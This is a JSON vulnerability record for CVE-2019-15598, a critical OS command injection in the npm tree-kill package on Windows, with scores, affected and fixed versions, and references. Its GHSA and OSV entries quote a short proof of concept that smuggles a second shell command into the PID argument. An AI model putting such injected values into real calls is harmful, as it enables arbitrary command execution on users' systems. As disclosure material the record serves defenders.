{"id":"CVE-2019-15598","aliases":["CLSA-2026-1776731777","EUVD-2022-4302","GHSA-j7fq-p9q7-5wfv"],"status":"published","title":"Treekill Enables OS Command Injection","description":"A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.02742,"percentile":0.86275,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78","CWE-94"],"published":"2019-12-18T20:58:31Z","modified":"2026-10-23T13:58:00Z","fixes":[{"ecosystem":"npm","package":"tree-kill","fixed_in":["1.2.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tree-kill","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tree-kill","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.1-tuxcare.0"},{"fixed":"1.2.1-tuxcare.1"}]}],"versions":["1.2.1"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"tree-kill","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.2.2"}]}]}],"products":[{"vendor":"tree-kill_project","product":"tree-kill"}],"references":[{"url":"https://hackerone.com/reports/703415","tags":["x_refsource_MISC","x_transferred","Permissions Required","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-15598","tags":["advisory"]},{"url":"https://github.com/pkrumins/node-tree-kill/issues/30","tags":["web"]},{"url":"https://github.com/pkrumins/node-tree-kill/pull/31","tags":["web"]},{"url":"https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c","tags":["web"]},{"url":"https://hackerone.com/reports/701183","tags":["web"]},{"url":"https://github.com/node-modules/treekill/blob/master/index.js#L32","tags":["web"]},{"url":"https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781","tags":["web"]},{"url":"https://github.com/advisories/GHSA-j7fq-p9q7-5wfv"},{"url":"https://github.com/pkrumins/node-tree-kill","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2019-15598","description":"A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.","status":"published","published":"2019-12-18T20:58:31Z","modified":"2024-08-05T00:49:13.755Z","cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:21.397307Z"}],"euvd":[{"id":"EUVD-2022-4302","description":"A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.","status":"published","published":"2019-12-18T20:58:31Z","modified":"2024-08-05T00:49:13Z","updated_at":"2026-11-03T02:40:35.584574Z"}],"ghsa":[{"id":"GHSA-j7fq-p9q7-5wfv","title":"Treekill Enables OS Command Injection","description":"A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require('treekill');\nkill('3333332 \u0026 echo \"HACKED\" \u003e HACKED.txt \u0026 ');\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","status":"published","published":"2022-05-24T17:04:00Z","modified":"2024-04-22T23:20:00Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:37:44.335614Z"}],"nvd":[{"id":"CVE-2019-15598","description":"A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.","status":"published","published":"2019-12-18T21:15:12.523Z","modified":"2026-10-23T13:58:00.743Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-94","CWE-78"],"updated_at":"2026-11-02T14:05:40.856496Z"}],"osv":[{"id":"GHSA-j7fq-p9q7-5wfv","title":"Treekill Enables OS Command Injection","description":"A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require('treekill');\nkill('3333332 \u0026 echo \"HACKED\" \u003e HACKED.txt \u0026 ');\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","status":"published","published":"2022-05-24T17:04:00Z","modified":"2024-04-22T23:44:02.289143Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"CLSA-2026-1776731777","title":"TuxCare security update for tree-kill (2 CVEs)","description":"TuxCare rebuilt tree-kill to address 2 CVEs. Fixed in 1.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:47:07.300885348Z","updated_at":"2026-11-02T15:43:44.009773Z"}]}}
